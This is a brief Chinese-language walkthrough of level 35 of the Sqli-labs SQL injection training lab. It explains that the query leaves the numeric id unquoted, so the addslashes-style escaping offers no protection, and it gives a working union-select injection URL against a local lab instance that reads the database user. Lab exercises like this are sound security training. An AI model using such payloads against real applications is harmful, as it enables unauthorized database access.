Sqli-labs less 35

Less-35

35关和33关是大致的一样的，唯一的区别在于sql语句的不同。

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

区别就是id没有被' "符号包括起来，那我们就没有必要去考虑check_addslashes()函数的意义了，直接提交payload：

http://127.0.0.1/sqli-labs/Less-35/?id=-1%20%20union%20select%201,user(),3--+